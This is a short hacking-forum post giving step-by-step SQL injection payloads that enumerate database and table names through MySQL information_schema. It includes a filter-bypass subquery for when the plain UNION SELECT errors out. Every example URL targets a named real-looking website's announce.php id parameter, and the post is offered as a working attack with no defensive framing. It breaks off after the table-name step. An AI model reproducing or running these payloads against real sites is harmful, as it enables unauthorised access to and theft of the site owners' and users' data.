SQL Injection Bypass Show All (database,table_name,columns) New Commands

SQL Injection bypass show all (database,table_name,columns) new commands
PATTAKHAZONE Readers
i think new method
1.command for show all database:
PHP Code:

http://www.nau.in/announce.php?id=-595+union+select+1,2,group_concat%28schema_name%29,4,5,6,7,8,9,10+from+informati​on_schema.schemata-- As you can see, Error occurs


for bypass use command Replace vulnerable column :
PHP Code:

(select (@x) from (select (@x:=0x00),(select (0) from (information_schema.schemata)where (0x00) in (@x:=concat(@x,0x3c62723e,schema_name))))x) 

for Example:
PHP Code:

http://www.nau.in/announce.php?id=-595+union+select+1,2,(select (@x) from (select (@x:=0x00),(select (0) from (information_schema.schemata)where (0x00) in (@x:=concat(@x,0x3c62723e,schema_name))))x),4,5,6,7,8,9,10--

2. command for show table_name :

PHP Code:

http://www.nau.in/announce.php?id=-595+union+select+1,group_concat%28table_name%29,3,4,5,6,7,8,9,10+from+informatio​n_schema.tables-- 

As you can see, Error occurs

for bypass use command Replace vulnerable column :

PHP Code:

(select (@x) from (select (@x:=0x00),(select (0) from (information_schema.tables)where (table_schema=database()) and (0x00) in (@x:=concat(@x,0x3c62723e,table_name))))x) 

for Example:

PHP Code:

http://www.nau.in/announce.php?id=-595+union+select+1,2,(select (@x) from (select (@x:=0x00),(select (0) from (information_schema.tables)where (table_schema=database()) and (0x00) in (@x:=concat(@x,0x3c62723e,table_name))))x),4,5,6,7,8,9,10-- 

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